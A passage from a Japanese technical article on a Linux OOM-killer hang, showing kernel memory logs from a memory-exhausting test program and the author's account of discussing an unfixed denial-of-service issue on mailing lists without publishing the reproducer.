[   78.887411] Node 0 DMA32: 1975*4kB (UEM) 1278*8kB (UEM) 550*16kB (UEM) 302*32kB (UEM) 61*64kB (UEM) 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 1*4096kB (R) = 44588kB
[   78.890582] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[   78.892105] 2425 total pagecache pages
[   78.892799] 0 pages in swap cache
[   78.893421] Swap cache stats: add 0, delete 0, find 0/0
[   78.894381] Free swap  = 0kB
[   78.894915] Total swap = 0kB
[   78.898329] 524287 pages RAM
[   78.898950] 54799 pages reserved
[   78.899634] 527290 pages shared
[   78.900229] 453223 pages non-shared
[   78.900886] [ pid ]   uid  tgid total_vm      rss nr_ptes swapents oom_score_adj name
[   78.902341] [  574]     0   574     9231      503      19        0             0 systemd-journal
[   78.903948] [  590]     0   590    29620       80      26        0             0 lvmetad
[   78.905430] [  612]     0   612    10995      330      21        0         -1000 systemd-udevd
[   78.907001] [  704]     0   704    12797       95      23        0         -1000 auditd
[   78.908463] [  717]     0   717    20056       28       9        0             0 audispd
[   78.909981] [  726]     0   726     4189       43      13        0             0 alsactl
[   78.911463] [  728]     0   728    52615      443      55        0             0 abrtd
[   78.912905] [  729]     0   729     6600       78      17        0             0 systemd-logind
[   78.914821] [  730]     0   730     1094       25       8        0             0 rngd
[   78.916266] [  732]     0   732     6551       49      19        0             0 sedispatch
[   78.917787] [  733]     0   733    32515      129      19        0             0 smartd
[   78.919252] [  736]    81   736     7419      337      18        0          -900 dbus-daemon
[   78.920801] [  740]     0   740    51993      341      53        0             0 abrt-watch-log
[   78.922388] [  745]   995   745     2133       37       9        0             0 lsmd
[   78.923820] [  748]     0   748     4829       79      12        0             0 irqbalance
[   78.925388] [  750]     0   750    51993      340      51        0             0 abrt-watch-log
[   78.926943] [  757]     0   757    80894     4240      75        0             0 firewalld
[   78.928443] [  762]     0   762    61592      381      63        0             0 vmtoolsd
[   78.929964] [  763]     0   763    84088      285      64        0             0 ModemManager
[   78.931487] [  770]   172   770    41164       50      16        0             0 rtkit-daemon
[   78.933007] [  773]     0   773    96845      198      42        0             0 accounts-daemon
[   78.934618] [  780]     0   780    54939      449      38        0             0 rsyslogd
[   78.936113] [  781]    70   781     7549       75      21        0             0 avahi-daemon
[   78.937696] [  783]   994   783    28961       93      27        0             0 chronyd
[   78.939164] [  786]     0   786    50842      115      39        0             0 gssproxy
[   78.940651] [  794]     0   794    28812       62      11        0             0 ksmtuned
[   78.942134] [  796]    32   796    16227      131      33        0             0 rpcbind
[   78.943603] [  806]    70   806     7518       59      19        0             0 avahi-daemon
[   78.945148] [  818]   999   818   132797     2567      53        0             0 polkitd
[   78.946618] [  882]     0   882   113615      480      72        0             0 NetworkManager
[   78.948203] [ 1010]     0  1010    13266      145      29        0             0 wpa_supplicant
[   78.949779] [ 1200]     0  1200    27631     3114      54        0             0 dhclient
[   78.951271] [ 1410]     0  1410    20640      213      44        0         -1000 sshd
[   78.952692] [ 1413]     0  1413   138261     2651      86        0             0 tuned
[   78.954129] [ 1416]     0  1416   138875     1130     139        0             0 libvirtd
[   78.955621] [ 1424]     0  1424    31583      151      17        0             0 crond
[   78.957092] [ 1425]     0  1425   118308      753      50        0             0 gdm
[   78.958480] [ 1456]     0  1456     6491       49      17        0             0 atd
[   78.959869] [ 1462]     0  1462    27509       33      11        0             0 agetty
[   78.961291] [ 2488]     0  2488    55958     1573      97        0             0 Xorg
[   78.962720] [ 2575]     0  2575    23306      254      44        0             0 master
[   78.964156] [ 2576]    89  2576    23332      251      46        0             0 pickup
[   78.965583] [ 2577]    89  2577    23349      252      46        0             0 qmgr
[   78.967190] [ 2583]     0  2583    64751      482      57        0          -900 abrt-dbus
[   78.968691] [ 2705]    99  2705     3888       48      11        0             0 dnsmasq
[   78.970167] [ 2706]     0  2706     3881       45      11        0             0 dnsmasq
[   78.971646] [ 2712]     0  2712    89025      249      61        0             0 gdm-session-wor
[   78.973250] [ 2715]    42  2715   140687      403     102        0             0 gnome-session
[   78.974809] [ 2718]    42  2718     3488       36      11        0             0 dbus-launch
[   78.976354] [ 2719]    42  2719     7342      186      17        0             0 dbus-daemon
[   78.977884] [ 2722]    42  2722    85002      155      34        0             0 at-spi-bus-laun
[   78.979483] [ 2728]    42  2728     7168       89      19        0             0 dbus-daemon
[   78.981023] [ 2731]    42  2731    32423      158      34        0             0 at-spi2-registr
[   78.982629] [ 2743]    42  2743   272885     1577     182        0             0 gnome-settings-
[   78.984229] [ 2750]     0  2750    90874      321      61        0             0 upowerd
[   78.985703] [ 2754]    42  2754    76643      143      37        0             0 gvfsd
[   78.987663] [ 2758]    42  2758    73901      174      42        0             0 gvfsd-fuse
[   78.989159] [ 2770]    42  2770   387894    17240     291        0             0 gnome-shell
[   78.990669] [ 2771]   997  2771   101041      373      50        0             0 colord
[   78.992139] [ 2780]    42  2780   111507      295      75        0             0 pulseaudio
[   78.993661] [ 2801]    42  2801    45167      108      25        0             0 dconf-service
[   78.995198] [ 2806]    42  2806   117500      533      47        0             0 ibus-daemon
[   78.996834] [ 2811]    42  2811    98221      686      46        0             0 ibus-dconf
[   78.998353] [ 2813]    42  2813   117506      551     113        0             0 ibus-x11
[   78.999851] [ 2820]    42  2820    98935      402      61        0             0 mission-control
[   79.001442] [ 2822]    42  2822   143741      459      94        0             0 caribou
[   79.002912] [ 2826]     0  2826   101278      258      52        0             0 packagekitd
[   79.006211] [ 2832]    42  2832   178354     1594     141        0             0 goa-daemon
[   79.007731] [ 2867]    42  2867   100148      250      47        0             0 gvfs-udisks2-vo
[   79.009329] [ 2871]     0  2871    92703      782      44        0             0 udisksd
[   79.010795] [ 2878]    42  2878    83626      371      91        0             0 goa-identity-se
[   79.012404] [ 2889]    42  2889   105443      307      58        0             0 gvfs-afc-volume
[   79.014295] [ 2894]    42  2894    78121      168      38        0             0 gvfs-mtp-volume
[   79.015865] [ 2898]    42  2898    74934      137      33        0             0 gvfs-goa-volume
[   79.017473] [ 2902]    42  2902    80390      182      43        0             0 gvfs-gphoto2-vo
[   79.019042] [ 2914]     0  2914    80155      236      57        0          -900 realmd
[   79.020472] [ 2922]    42  2922    79800      679      42        0             0 ibus-engine-sim
[   79.022074] [ 2976]     0  2976    36375      328      73        0             0 sshd
[   79.023483] [ 2980]  1000  2980    36408      326      70        0             0 sshd
[   79.024879] [ 2982]  1000  2982    29142      391      14        0             0 bash
[   79.026277] [ 3075]     0  3075    26974       23      10        0             0 sleep
[   79.027729] [ 3077]  1000  3077     1042       20       7        0             1 pipe-memeater2
[   79.029291] [ 3078]  1000  3078     1042       20       7        0             1 pipe-memeater2
[   79.030897] [ 3079]  1000  3079     1042       20       7        0             1 pipe-memeater2
[   79.032489] [ 3080]  1000  3080     1042       20       7        0             1 pipe-memeater2
[   79.034042] [ 3081]  1000  3081     1042       20       7        0             1 pipe-memeater2
[   79.035603] [ 3082]  1000  3082     1042       20       7        0             1 pipe-memeater2
[   79.037158] [ 3083]  1000  3083     1042       20       7        0             1 pipe-memeater2
[   79.038752] [ 3084]  1000  3084     1042       20       7        0             1 pipe-memeater2
[   79.040301] [ 3085]  1000  3085     1042       20       7        0             1 pipe-memeater2
[   79.041855] [ 3086]  1000  3086     1042       20       7        0             1 pipe-memeater2
[   79.043438] [ 3088]  1000  3088     1042       20       7        0             0 pipe-memeater2
[   79.045025] Out of memory: Kill process 2770 (gnome-shell) score 37 or sacrifice child
[   79.046466] Killed process 2806 (ibus-daemon) total-vm:470000kB, anon-rss:2128kB, file-rss:4kB
(繰り返し部分省略)
[  119.938777] pipe-memeater2 invoked oom-killer: gfp_mask=0x200d2, order=0, oom_score_adj=0
[  119.940307] pipe-memeater2 cpuset=/ mems_allowed=0
[  119.941199] CPU: 0 PID: 3088 Comm: pipe-memeater2 Not tainted 3.10.0-123.el7.x86_64 #1
[  119.942645] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[  119.944575]  ffff88005f302d80 000000005d69c4df ffff88005f3ada78 ffffffff815e19ba
[  119.946897]  ffff88005f3adb08 ffffffff815dd02d ffffffff810b68f8 ffff8800666dde50
[  119.948528]  0000000000000202 ffff88005f302d80 ffff88005f3adaf0 ffffffff81102eff
[  119.949989] Call Trace:
[  119.950466]  [<ffffffff815e19ba>] dump_stack+0x19/0x1b
[  119.951424]  [<ffffffff815dd02d>] dump_header+0x8e/0x214
[  119.952398]  [<ffffffff810b68f8>] ? ktime_get_ts+0x48/0xe0
[  119.953413]  [<ffffffff81102eff>] ? delayacct_end+0x8f/0xb0
[  119.954435]  [<ffffffff8114520e>] oom_kill_process+0x24e/0x3b0
[  119.955514]  [<ffffffff81144d76>] ? find_lock_task_mm+0x56/0xc0
[  119.956799]  [<ffffffff8106af3e>] ? has_capability_noaudit+0x1e/0x30
[  119.957985]  [<ffffffff81145a36>] out_of_memory+0x4b6/0x4f0
[  119.958997]  [<ffffffff8114b579>] __alloc_pages_nodemask+0xa09/0xb10
[  119.960145]  [<ffffffff81188779>] alloc_pages_current+0xa9/0x170
[  119.961223]  [<ffffffff811b8954>] pipe_write+0x274/0x540
[  119.962186]  [<ffffffff811af36d>] do_sync_write+0x8d/0xd0
[  119.963159]  [<ffffffff811afb0d>] vfs_write+0xbd/0x1e0
[  119.964094]  [<ffffffff811b0558>] SyS_write+0x58/0xb0
[  119.965014]  [<ffffffff815f2119>] system_call_fastpath+0x16/0x1b
[  119.966102] Mem-Info:
[  119.966528] Node 0 DMA per-cpu:
[  119.967138] CPU    0: hi:    0, btch:   1 usd:   0
[  119.968216] CPU    1: hi:    0, btch:   1 usd:   0
[  119.969247] CPU    2: hi:    0, btch:   1 usd:   0
[  119.970408] CPU    3: hi:    0, btch:   1 usd:   0
[  119.971436] Node 0 DMA32 per-cpu:
[  119.972147] CPU    0: hi:  186, btch:  31 usd:   0
[  119.973018] CPU    1: hi:  186, btch:  31 usd:  30
[  119.973883] CPU    2: hi:  186, btch:  31 usd:  41
[  119.974748] CPU    3: hi:  186, btch:  31 usd:  22
[  119.975626] active_anon:3798 inactive_anon:1649 isolated_anon:0
[  119.975626]  active_file:4 inactive_file:198 isolated_file:0
[  119.975626]  unevictable:0 dirty:0 writeback:0 unstable:0
[  119.975626]  free:13047 slab_reclaimable:4692 slab_unreclaimable:7148
[  119.975626]  mapped:0 shmem:2260 pagetables:530 bounce:0
[  119.975626]  free_cma:0
[  119.981153] Node 0 DMA free:7632kB min:384kB low:480kB high:576kB active_anon:128kB inactive_anon:104kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:124kB slab_reclaimable:152kB slab_unreclaimable:356kB kernel_stack:0kB pagetables:8kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  119.988478] lowmem_reserve[]: 0 1802 1802 1802
[  119.989412] Node 0 DMA32 free:44612kB min:44668kB low:55832kB high:67000kB active_anon:15064kB inactive_anon:6492kB active_file:16kB inactive_file:376kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1845300kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:8916kB slab_reclaimable:18616kB slab_unreclaimable:28236kB kernel_stack:3608kB pagetables:2112kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:223 all_unreclaimable? yes
[  119.996991] lowmem_reserve[]: 0 0 0 0
[  119.997797] Node 0 DMA: 2*4kB (UM) 8*8kB (UM) 10*16kB (M) 11*32kB (UM) 11*64kB (UM) 11*128kB (UM) 5*256kB (UM) 1*512kB (U) 1*1024kB (M) 1*2048kB (R) 0*4096kB = 7560kB
[  120.002259] Node 0 DMA32: 1143*4kB (EM) 966*8kB (UEM) 491*16kB (EM) 345*32kB (UEM) 102*64kB (EM) 23*128kB (UM) 0*256kB 0*512kB 0*1024kB 0*2048kB 1*4096kB (R) = 44764kB
[  120.007208] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  120.008837] 2506 total pagecache pages
[  120.009721] 0 pages in swap cache
[  120.010395] Swap cache stats: add 0, delete 0, find 0/0
[  120.011755] Free swap  = 0kB
[  120.012363] Total swap = 0kB
[  120.016138] 524287 pages RAM
[  120.016878] 54799 pages reserved
[  120.017911] 525985 pages shared
[  120.018652] 454436 pages non-shared
[  120.019391] [ pid ]   uid  tgid total_vm      rss nr_ptes swapents oom_score_adj name
[  120.021231] [  590]     0   590    29620       80      26        0             0 lvmetad
[  120.023399] [  612]     0   612    10995      330      21        0         -1000 systemd-udevd
[  120.025409] [  704]     0   704    12797       95      23        0         -1000 auditd
[  120.027072] [  717]     0   717    20056       28       9        0             0 audispd
[  120.029071] [  726]     0   726     4189       43      13        0             0 alsactl
[  120.031114] [  729]     0   729     6600       80      17        0             0 systemd-logind
[  120.032827] [  730]     0   730     1094       25       8        0             0 rngd
[  120.034420] [  732]     0   732     6551       49      19        0             0 sedispatch
[  120.036194] [  736]    81   736     7419      337      18        0          -900 dbus-daemon
[  120.037949] [  745]   995   745     2133       37       9        0             0 lsmd
[  120.039411] [  748]     0   748     4829       78      12        0             0 irqbalance
[  120.041107] [  770]   172   770    41164       53      16        0             0 rtkit-daemon
[  120.042884] [  781]    70   781     7549       76      21        0             0 avahi-daemon
[  120.045308] [  794]     0   794    28812       62      11        0             0 ksmtuned
[  120.047005] [  806]    70   806     7518       59      19        0             0 avahi-daemon
[  120.048535] [ 1410]     0  1410    20640      213      44        0         -1000 sshd
[  120.049944] [ 1456]     0  1456     6491       49      17        0             0 atd
[  120.051333] [ 1462]     0  1462    27509       33      11        0             0 agetty
[  120.052764] [ 2583]     0  2583    64751      493      57        0          -900 abrt-dbus
[  120.054299] [ 2705]    99  2705     3888       47      11        0             0 dnsmasq
[  120.056124] [ 2706]     0  2706     3881       45      11        0             0 dnsmasq
[  120.057652] [ 2914]     0  2914    80155      255      57        0          -900 realmd
[  120.059087] [ 3075]     0  3075    26974       23      10        0             0 sleep
[  120.060508] [ 3088]  1000  3088     1042       20       7        0             0 pipe-memeater2
[  120.062067] [ 3089]     0  3089     2732       32       9        0             0 systemd-cgroups
[  120.063637] [ 3090]     0  3090    19084       33      10        0             0 systemd-cgroups
[  120.065210] [ 3091]     0  3091    19084       33       9        0             0 systemd-cgroups
[  120.066939] [ 3092]     0  3092     2719       27       9        0             0 systemd-cgroups
[  120.069145] Out of memory: Kill process 590 (lvmetad) score 0 or sacrifice child
[  120.071126] Killed process 590 (lvmetad) total-vm:118480kB, anon-rss:320kB, file-rss:0kB
(まだ反応が無いため、 SysRq-m によりメモリの状況を表示させました。)
[  209.378474] SysRq : Show Memory
[  209.379117] Mem-Info:
[  209.379560] Node 0 DMA per-cpu:
[  209.380184] CPU    0: hi:    0, btch:   1 usd:   0
[  209.381073] CPU    1: hi:    0, btch:   1 usd:   0
[  209.381968] CPU    2: hi:    0, btch:   1 usd:   0
[  209.382852] CPU    3: hi:    0, btch:   1 usd:   0
[  209.383736] Node 0 DMA32 per-cpu:
[  209.384383] CPU    0: hi:  186, btch:  31 usd:  91
[  209.385281] CPU    1: hi:  186, btch:  31 usd:  53
[  209.386171] CPU    2: hi:  186, btch:  31 usd:  92
[  209.387054] CPU    3: hi:  186, btch:  31 usd: 138
[  209.387947] active_anon:3716 inactive_anon:1649 isolated_anon:0
[  209.387947]  active_file:28 inactive_file:8 isolated_file:0
[  209.387947]  unevictable:0 dirty:0 writeback:0 unstable:0
[  209.387947]  free:12757 slab_reclaimable:4692 slab_unreclaimable:7146
[  209.387947]  mapped:68 shmem:2260 pagetables:504 bounce:0
[  209.387947]  free_cma:0
[  209.393582] Node 0 DMA free:7592kB min:384kB low:480kB high:576kB active_anon:128kB inactive_anon:104kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:124kB slab_reclaimable:152kB slab_unreclaimable:356kB kernel_stack:0kB pagetables:8kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  209.400851] lowmem_reserve[]: 0 1802 1802 1802
[  209.401815] Node 0 DMA32 free:43436kB min:44668kB low:55832kB high:67000kB active_anon:14736kB inactive_anon:6492kB active_file:112kB inactive_file:32kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1845300kB mlocked:0kB dirty:0kB writeback:0kB mapped:272kB shmem:8916kB slab_reclaimable:18616kB slab_unreclaimable:28228kB kernel_stack:3608kB pagetables:2008kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:824 all_unreclaimable? yes
[  209.409563] lowmem_reserve[]: 0 0 0 0
[  209.410386] Node 0 DMA: 16*4kB (M) 13*8kB (UM) 10*16kB (M) 11*32kB (UM) 10*64kB (UM) 11*128kB (UM) 5*256kB (UM) 1*512kB (U) 1*1024kB (M) 1*2048kB (R) 0*4096kB = 7592kB
[  209.413721] Node 0 DMA32: 1009*4kB (EM) 937*8kB (EM) 476*16kB (UEM) 345*32kB (UEM) 103*64kB (UEM) 20*128kB (UM) 0*256kB 0*512kB 0*1024kB 0*2048kB 1*4096kB (R) = 43436kB
[  209.416997] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  209.418540] 2312 total pagecache pages
[  209.419241] 0 pages in swap cache
[  209.419859] Swap cache stats: add 0, delete 0, find 0/0
[  209.420824] Free swap  = 0kB
[  209.421370] Total swap = 0kB
[  209.424943] 524287 pages RAM
[  209.425506] 54799 pages reserved
[  209.426111] 525960 pages shared
[  209.426705] 454446 pages non-shared
(まだ反応が無いため、 SysRq-m によりメモリの状況を表示させました。)
[  279.574636] SysRq : Show Memory
[  279.575281] Mem-Info:
[  279.575727] Node 0 DMA per-cpu:
[  279.576351] CPU    0: hi:    0, btch:   1 usd:   0
[  279.577240] CPU    1: hi:    0, btch:   1 usd:   0
[  279.578135] CPU    2: hi:    0, btch:   1 usd:   0
[  279.579025] CPU    3: hi:    0, btch:   1 usd:   0
[  279.579911] Node 0 DMA32 per-cpu:
[  279.580559] CPU    0: hi:  186, btch:  31 usd:  91
[  279.581454] CPU    1: hi:  186, btch:  31 usd:  53
[  279.582342] CPU    2: hi:  186, btch:  31 usd:  92
[  279.583229] CPU    3: hi:  186, btch:  31 usd: 138
[  279.584119] active_anon:3716 inactive_anon:1649 isolated_anon:0
[  279.584119]  active_file:28 inactive_file:8 isolated_file:0
[  279.584119]  unevictable:0 dirty:0 writeback:0 unstable:0
[  279.584119]  free:12757 slab_reclaimable:4692 slab_unreclaimable:7146
[  279.584119]  mapped:68 shmem:2260 pagetables:504 bounce:0
[  279.584119]  free_cma:0
[  279.589776] Node 0 DMA free:7592kB min:384kB low:480kB high:576kB active_anon:128kB inactive_anon:104kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:124kB slab_reclaimable:152kB slab_unreclaimable:356kB kernel_stack:0kB pagetables:8kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  279.597050] lowmem_reserve[]: 0 1802 1802 1802
[  279.598024] Node 0 DMA32 free:43436kB min:44668kB low:55832kB high:67000kB active_anon:14736kB inactive_anon:6492kB active_file:112kB inactive_file:32kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1845300kB mlocked:0kB dirty:0kB writeback:0kB mapped:272kB shmem:8916kB slab_reclaimable:18616kB slab_unreclaimable:28228kB kernel_stack:3608kB pagetables:2008kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:824 all_unreclaimable? yes
[  279.605826] lowmem_reserve[]: 0 0 0 0
[  279.606659] Node 0 DMA: 16*4kB (M) 13*8kB (UM) 10*16kB (M) 11*32kB (UM) 10*64kB (UM) 11*128kB (UM) 5*256kB (UM) 1*512kB (U) 1*1024kB (M) 1*2048kB (R) 0*4096kB = 7592kB
[  279.610016] Node 0 DMA32: 1009*4kB (EM) 937*8kB (EM) 476*16kB (UEM) 345*32kB (UEM) 103*64kB (UEM) 20*128kB (UM) 0*256kB 0*512kB 0*1024kB 0*2048kB 1*4096kB (R) = 43436kB
[  279.613298] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  279.614840] 2312 total pagecache pages
[  279.615539] 0 pages in swap cache
[  279.616166] Swap cache stats: add 0, delete 0, find 0/0
[  279.617134] Free swap  = 0kB
[  279.617676] Total swap = 0kB
[  279.621228] 524287 pages RAM
[  279.622185] 54799 pages reserved
[  279.622791] 525928 pages shared
[  279.623369] 454446 pages non-shared
(既に DMA32 の free: が min: を下回っているのに OOM killer が発動していないため、 SysRq-f により OOM killer を発動させました。)
[  297.411498] SysRq : Manual OOM execution
[  297.412450] kworker/0:2 invoked oom-killer: gfp_mask=0xd0, order=0, oom_score_adj=0
[  297.413837] kworker/0:2 cpuset=/ mems_allowed=0
[  297.414701] CPU: 0 PID: 297 Comm: kworker/0:2 Not tainted 3.10.0-123.el7.x86_64 #1
[  297.416070] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/31/2013
[  297.418031] Workqueue: events moom_callback
[  297.418817]  ffff880036ebc440 00000000d84a44d3 ffff880036a3fc70 ffffffff815e19ba
[  297.420273]  ffff880036a3fd00 ffffffff815dd02d ffff880036a3fe04 ffff880036a407d0
[  297.421755]  ffff88003689c000 0000000000000004 ffff880036a3fcc8 0000000200000000
[  297.423197] Call Trace:
[  297.423670]  [<ffffffff815e19ba>] dump_stack+0x19/0x1b
[  297.424601]  [<ffffffff815dd02d>] dump_header+0x8e/0x214
[  297.425571]  [<ffffffff8114520e>] oom_kill_process+0x24e/0x3b0
[  297.426639]  [<ffffffff81144d76>] ? find_lock_task_mm+0x56/0xc0
[  297.427744]  [<ffffffff8106af3e>] ? has_capability_noaudit+0x1e/0x30
[  297.428889]  [<ffffffff81145a36>] out_of_memory+0x4b6/0x4f0
[  297.429921]  [<ffffffff8137bc3d>] moom_callback+0x4d/0x50
[  297.430904]  [<ffffffff8107e02b>] process_one_work+0x17b/0x460
[  297.431989]  [<ffffffff8107edfb>] worker_thread+0x11b/0x400
[  297.433040]  [<ffffffff8107ece0>] ? rescuer_thread+0x400/0x400
[  297.434092]  [<ffffffff81085aef>] kthread+0xcf/0xe0
[  297.434981]  [<ffffffff81085a20>] ? kthread_create_on_node+0x140/0x140
[  297.436168]  [<ffffffff815f206c>] ret_from_fork+0x7c/0xb0
[  297.437257]  [<ffffffff81085a20>] ? kthread_create_on_node+0x140/0x140
[  297.438461] Mem-Info:
[  297.438896] Node 0 DMA per-cpu:
[  297.439510] CPU    0: hi:    0, btch:   1 usd:   0
[  297.440405] CPU    1: hi:    0, btch:   1 usd:   0
[  297.441288] CPU    2: hi:    0, btch:   1 usd:   0
[  297.442171] CPU    3: hi:    0, btch:   1 usd:   0
[  297.443056] Node 0 DMA32 per-cpu:
[  297.443701] CPU    0: hi:  186, btch:  31 usd:  91
[  297.444590] CPU    1: hi:  186, btch:  31 usd:  53
[  297.445473] CPU    2: hi:  186, btch:  31 usd:  92
[  297.446358] CPU    3: hi:  186, btch:  31 usd: 138
[  297.447242] active_anon:3716 inactive_anon:1649 isolated_anon:0
[  297.447242]  active_file:28 inactive_file:8 isolated_file:0
[  297.447242]  unevictable:0 dirty:0 writeback:0 unstable:0
[  297.447242]  free:12757 slab_reclaimable:4692 slab_unreclaimable:7146
[  297.447242]  mapped:68 shmem:2260 pagetables:504 bounce:0
[  297.447242]  free_cma:0
[  297.453048] Node 0 DMA free:7592kB min:384kB low:480kB high:576kB active_anon:128kB inactive_anon:104kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:124kB slab_reclaimable:152kB slab_unreclaimable:356kB kernel_stack:0kB pagetables:8kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  297.460221] lowmem_reserve[]: 0 1802 1802 1802
[  297.461163] Node 0 DMA32 free:43436kB min:44668kB low:55832kB high:67000kB active_anon:14736kB inactive_anon:6492kB active_file:112kB inactive_file:32kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:1845300kB mlocked:0kB dirty:0kB writeback:0kB mapped:272kB shmem:8916kB slab_reclaimable:18616kB slab_unreclaimable:28228kB kernel_stack:3608kB pagetables:2008kB unstable:0kB bounce:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:824 all_unreclaimable? yes
[  297.469732] lowmem_reserve[]: 0 0 0 0
[  297.470565] Node 0 DMA: 16*4kB (M) 13*8kB (UM) 10*16kB (M) 11*32kB (UM) 10*64kB (UM) 11*128kB (UM) 5*256kB (UM) 1*512kB (U) 1*1024kB (M) 1*2048kB (R) 0*4096kB = 7592kB
[  297.473931] Node 0 DMA32: 1009*4kB (EM) 937*8kB (EM) 476*16kB (UEM) 345*32kB (UEM) 103*64kB (UEM) 20*128kB (UM) 0*256kB 0*512kB 0*1024kB 0*2048kB 1*4096kB (R) = 43436kB
[  297.477216] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=2048kB
[  297.478752] 2312 total pagecache pages
[  297.479453] 0 pages in swap cache
[  297.480080] Swap cache stats: add 0, delete 0, find 0/0
[  297.481058] Free swap  = 0kB
[  297.481596] Total swap = 0kB
[  297.485061] 524287 pages RAM
[  297.485624] 54799 pages reserved
[  297.486234] 525928 pages shared
[  297.486826] 454446 pages non-shared
[  297.487486] [ pid ]   uid  tgid total_vm      rss nr_ptes swapents oom_score_adj name
[  297.488954] [  612]     0   612    10995      330      21        0         -1000 systemd-udevd
[  297.490531] [  704]     0   704    12797       95      23        0         -1000 auditd
[  297.492002] [  717]     0   717    20056       69       9        0             0 audispd
[  297.493481] [  726]     0   726     4189       43      13        0             0 alsactl
[  297.494963] [  729]     0   729     6600       77      17        0             0 systemd-logind
[  297.496545] [  730]     0   730     1094       25       8        0             0 rngd
[  297.497986] [  732]     0   732     6551       49      19        0             0 sedispatch
[  297.499506] [  736]    81   736     7419      337      18        0          -900 dbus-daemon
[  297.501759] [  745]   995   745     2133       37       9        0             0 lsmd
[  297.503207] [  748]     0   748     4829       78      12        0             0 irqbalance
[  297.504741] [  770]   172   770    41164       56      16        0             0 rtkit-daemon
[  297.506298] [  781]    70   781     7549       76      21        0             0 avahi-daemon
[  297.507855] [  794]     0   794    28812       62      11        0             0 ksmtuned
[  297.509361] [  806]    70   806     7518       59      19        0             0 avahi-daemon
[  297.510917] [ 1410]     0  1410    20640      213      44        0         -1000 sshd
[  297.512358] [ 1456]     0  1456     6491       49      17        0             0 atd
[  297.513797] [ 1462]     0  1462    27509       33      11        0             0 agetty
[  297.515266] [ 2583]     0  2583    64751      493      57        0          -900 abrt-dbus
[  297.516777] [ 2705]    99  2705     3888       47      11        0             0 dnsmasq
[  297.518255] [ 2706]     0  2706     3881       45      11        0             0 dnsmasq
[  297.519756] [ 2914]     0  2914    80155      255      57        0          -900 realmd
[  297.521218] [ 3075]     0  3075    26974       23      10        0             0 sleep
[  297.522669] [ 3088]  1000  3088     1042       20       7        0             0 pipe-memeater2
[  297.524263] [ 3089]     0  3089     2732       32       9        0             0 systemd-cgroups
[  297.525861] [ 3090]     0  3090    19084       33      10        0             0 systemd-cgroups
[  297.527466] [ 3091]     0  3091    19084       33       9        0             0 systemd-cgroups
[  297.529070] [ 3092]     0  3092     2719       27       9        0             0 systemd-cgroups
[  297.530666] Out of memory: Kill process 781 (avahi-daemon) score 0 or sacrifice child
[  297.532093] Killed process 806 (avahi-daemon) total-vm:30072kB, anon-rss:236kB, file-rss:0kB
---------- OOM killer の発動後にハングアップした場合の例 ここまで ----------

最初は systemd が関係しているのかと疑っていたのですが、どうも xfs を使っていると発生しやすいということが判明しました。

「何か想定外の事態が発生しているのではないか?」


2.5 カーネル内での中断できない処理について

OOM killer の説明の中で「 SIGKILL シグナルは無視できないので、」と書きましたが、実はカーネル内には「 SIGKILL シグナルを受信しても中断できない処理」が無数に存在しています。それは、カーネルというものが、ユーザ空間で動作するプログラムとハードウェアとの間に入って資源の制御などを行うためのプログラムである故に、 SIGKILL シグナルを受信したタイミングで中断すると不整合が発生する可能性があるからです。

不整合が発生しないようにするために、カーネル内には「 SIGKILL シグナルを受信しても中断できない( unkillable な)処理」というものが存在しています。だたし、中断しても問題ないけれども、エラーハンドリング処理を省略して単純化したいという理由による「 SIGKILL シグナルを受信しても中断しない(本来は killable にできる)処理」も多数存在します。


2.6 その後の展開・・・非公開MLでの議論が行き詰まってしまいました。

この脆弱性を使うとシステムが固まるという問題事象が発生することを示しましたが、「システムが DoS 攻撃を受けており、既に手遅れだ。諦めて再起動させろ。」と、まともにとりあってくれない状況でした。

また、公開MLで議論すべき内容だということで、2014年11月に公開MLでの議論へと移行しました。

私の議論の方法が下手なのも手伝って、何度も関係者を怒らせてしまいました。


2.7 公開MLでの議論のために、何をしたか?

公開MLでの議論をするために、システムが固まるという問題事象を再現させるための未修正の脆弱性を用いた再現プログラムを投稿することは避けたいものです。また、この脆弱性を用いて事象を再現させていることが、「 DoS 攻撃を受けていて手遅れだ」という条件反射的な反応を招いていたという側面も考えられます。

